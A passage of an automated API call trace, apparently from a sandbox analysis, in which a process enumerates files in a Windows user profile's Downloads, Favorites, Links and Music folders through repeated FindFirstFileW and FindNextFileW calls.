ftLastAccessTime.dwHighDateTime=0x1d4b7d7, ftLastWriteTime.dwLowDateTime=0x14569fe0, ftLastWriteTime.dwHighDateTime=0x1d4b7d7, nFileSizeHigh=0x0, nFileSizeLow=0x10a17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_i_MHuX.xlsx", cAlternateFileName="_I_MHU~1.XLS")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ed960, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0x526103d0, ftLastAccessTime.dwHighDateTime=0x1d4d432, ftLastWriteTime.dwLowDateTime=0x526103d0, ftLastWriteTime.dwHighDateTime=0x1d4d432, nFileSizeHigh=0x0, nFileSizeLow=0x14e8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_jD_3EsBV.pdf", cAlternateFileName="_JD_3E~1.PDF")) returned 1 [0112.754] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ed960, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0x526103d0, ftLastAccessTime.dwHighDateTime=0x1d4d432, ftLastWriteTime.dwLowDateTime=0x526103d0, ftLastWriteTime.dwHighDateTime=0x1d4d432, nFileSizeHigh=0x0, nFileSizeLow=0x14e8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_jD_3EsBV.pdf", cAlternateFileName="_JD_3E~1.PDF")) returned 0 [0112.754] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.754] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0112.754] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.754] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.755] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.755] PathFindFileNameW (pszPath="") returned="" [0112.755] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.755] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.755] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.755] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.755] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.755] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.755] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.755] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.755] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.755] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.755] PathFindFileNameW (pszPath="") returned="" [0112.755] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0112.756] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.756] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0112.756] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.756] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.756] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.756] PathFindFileNameW (pszPath="") returned="" [0112.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.757] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0112.757] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0112.757] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0112.757] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0112.757] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.757] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0112.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.757] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.757] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.757] PathFindFileNameW (pszPath="") returned="" [0112.757] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.757] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0112.757] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.757] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.757] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.757] PathFindFileNameW (pszPath="") returned="" [0112.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96401ed0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x96401ed0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96401ed0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x96401ed0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83efa570, ftCreationTime.dwHighDateTime=0x1d4d1ba, ftLastAccessTime.dwLowDateTime=0x53319950, ftLastAccessTime.dwHighDateTime=0x1d4cc26, ftLastWriteTime.dwLowDateTime=0x53319950, ftLastWriteTime.dwHighDateTime=0x1d4cc26, nFileSizeHigh=0x0, nFileSizeLow=0x1497b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2TTN4vHH6T.wav", cAlternateFileName="2TTN4V~1.WAV")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9ae2fc0, ftCreationTime.dwHighDateTime=0x1d4cfa4, ftLastAccessTime.dwLowDateTime=0x9995bc90, ftLastAccessTime.dwHighDateTime=0x1d4c55b, ftLastWriteTime.dwLowDateTime=0x9995bc90, ftLastWriteTime.dwHighDateTime=0x1d4c55b, nFileSizeHigh=0x0, nFileSizeLow=0x9b4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3TE1MNOOt738p.m4a", cAlternateFileName="3TE1MN~1.M4A")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28b56d0, ftCreationTime.dwHighDateTime=0x1d4d369, ftLastAccessTime.dwLowDateTime=0xfaaa4630, ftLastAccessTime.dwHighDateTime=0x1d4c60b, ftLastWriteTime.dwLowDateTime=0xfaaa4630, ftLastWriteTime.dwHighDateTime=0x1d4c60b, nFileSizeHigh=0x0, nFileSizeLow=0x11951, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7N2xpAEAZRgVp.m4a", cAlternateFileName="7N2XPA~1.M4A")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d26de0, ftCreationTime.dwHighDateTime=0x1d4cbd0, ftLastAccessTime.dwLowDateTime=0x909a7bf0, ftLastAccessTime.dwHighDateTime=0x1d4ce3c, ftLastWriteTime.dwLowDateTime=0x909a7bf0, ftLastWriteTime.dwHighDateTime=0x1d4ce3c, nFileSizeHigh=0x0, nFileSizeLow=0x16207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BKfdC5oaIRvpZH6X7.wav", cAlternateFileName="BKFDC5~1.WAV")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda801650, ftCreationTime.dwHighDateTime=0x1d4d30d, ftLastAccessTime.dwLowDateTime=0x56da9400, ftLastAccessTime.dwHighDateTime=0x1d4d340, ftLastWriteTime.dwLowDateTime=0x56da9400, ftLastWriteTime.dwHighDateTime=0x1d4d340, nFileSizeHigh=0x0, nFileSizeLow=0x644d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ejdJB5Su3HZ_V.mp3", cAlternateFileName="EJDJB5~1.MP3")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d6360, ftCreationTime.dwHighDateTime=0x1d4cb29, ftLastAccessTime.dwLowDateTime=0x42a0acd0, ftLastAccessTime.dwHighDateTime=0x1d4d477, ftLastWriteTime.dwLowDateTime=0x42a0acd0, ftLastWriteTime.dwHighDateTime=0x1d4d477, nFileSizeHigh=0x0, nFileSizeLow=0x10bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LDJP8fU.m4a", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nV -iFyrHbXVLVuM", cAlternateFileName="NV-IFY~1")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UFF1TS", cAlternateFileName="")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64491eb0, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xfac8a6c0, ftLastAccessTime.dwHighDateTime=0x1d4c944, ftLastWriteTime.dwLowDateTime=0xfac8a6c0, ftLastWriteTime.dwHighDateTime=0x1d4c944, nFileSizeHigh=0x0, nFileSizeLow=0xffba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vGLyTV3-l9LaIg.mp3", cAlternateFileName="VGLYTV~1.MP3")) returned 1 [0112.758] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a89e90, ftCreationTime.dwHighDateTime=0x1d4c7dd, ftLastAccessTime.dwLowDateTime=0x87cd7800, ftLastAccessTime.dwHighDateTime=0x1d4d540, 